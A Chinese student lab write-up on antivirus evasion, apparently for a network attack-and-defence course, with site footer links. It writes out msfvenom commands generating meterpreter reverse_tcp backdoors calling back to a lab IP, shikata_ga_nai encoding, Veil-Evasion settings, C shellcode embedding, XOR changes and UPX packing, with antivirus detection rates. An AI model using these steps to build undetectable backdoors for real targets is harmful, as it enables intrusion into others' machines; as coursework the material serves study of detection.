• 20155226《网络攻防》 Exp3 免杀原理与实践


    20155226《网络攻防》 Exp3 免杀原理与实践

    实验过程

    1. msfvenom直接生成meterpreter可执行文件

    • 直接将上周做实验时用msf生成的后门文件放在virscan.org中进行扫描,扫描结果如下:

    • 从上图可以看出,有19/39的杀毒软件发现有病毒,说明该后门程序很容易被发现

    2. Msfvenom使用编码器生成meterpreter可执行文件

    (1)一次编码:

    • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.147.140 LPORT=5226 -f exe > 5226_backjar.jar
      命令生成编码过的可执行文件

    • 再次使用virscan.org检测

    • 我们发现有5/39的杀毒软件发现有病毒,变化比较大,只有少数能发现了。

    3. Veil-Evasion免杀平台

    • Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil
    • 在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:

    set LHOST 192.168.147.140 //设置反弹连接IP
    set LPORT 5226 //设置反弹端口5226,默认为4444
    generate //生成
    thy5226 //程序名

    • 该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,

    • 放到网站上扫描一下:

    4. C语言调用Shellcode

    • 在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.147.140 LPORT=5226 -f c

      * LHOST:攻击机IP
      * LPORT:反弹连接端口
      * c:生成一个c语言格式的Shellcode数组
      

    • 在windows中创建一个C文件:MAIN.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数,编译后转换为一个可执行文件MAIN.exe

    • 回流到kali

    • 放到网上检查一下:

    • 可以发现有7/39的杀毒软件发现有病毒,生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。

    • 修改代码以后(异或)

    • 检测

    5. 加壳

    upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:
    upx #需要加壳的文件名 -o #加壳后的文件名

    • 发现还不如不加= =

    实验总结

    1. 修改代码真不是强项OVO
    2. 杀毒软件不怎么靠谱,平时要悠着点来。

    基础问题回答

    1. 杀软是如何检测出恶意代码的?
    • 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的特征码时就可以判断为恶意代码。
      为了防止自身特征码被检测,有些恶意代码使用了免杀加壳软件进行加壳,一些流行的加壳软件已经可以检查出来,如果被这样的加壳软件加壳就可能是恶意代码。
      判断该代码是否有恶意行为,若有就会判断代码是恶意代码。
    1. 免杀是做什么的?
    • 通过各种手段免除计算机对恶意代码查杀即为免杀。
    1. 免杀的基本方法有哪些?
    • 通过改变自身特征码
      加壳(可以选择比较新的、冷门的壳,流行的已经可以被大多数杀毒软件查杀)
    • 进行异或、逆序或者其他手段改变自身特征码。
    • 通过改变软件攻击的行为
      (2)在看似正常的应用中插入恶意代码,当程序运行时看似正常,可以逃过查杀。
    • 可以使用反弹端口技术,这样看上去就像是靶机在主动链接ip,大大减低被查杀的风险。
    • 使用隧道技术。
  • 相关阅读:
    通过出生日期获取年龄的方法--Java
    Hql没有limit,替换方案
    springMvc <form action="">提交跳转路径问题
    The user specified as a definer ('root'@'%') does not exist
    Eclipse中SVN设置文件为ignore后重新添加至版本控制
    (转)关于BigDecimal 转化字符串toPlainString()和toString()的区别
    禅道---Bug管理模块
    github pages部署静态网页
    mybatis-generator 代码自动生成工具(maven方式)
    警告: [SetContextPropertiesRule]{Context} Setting property 'source' to 'org.eclipse.jst.jee.server:JsonBlog' did not find a matching property.
  • 原文地址:https://www.cnblogs.com/20155226thy/p/8783550.html
Copyright © 2020-2023  润新知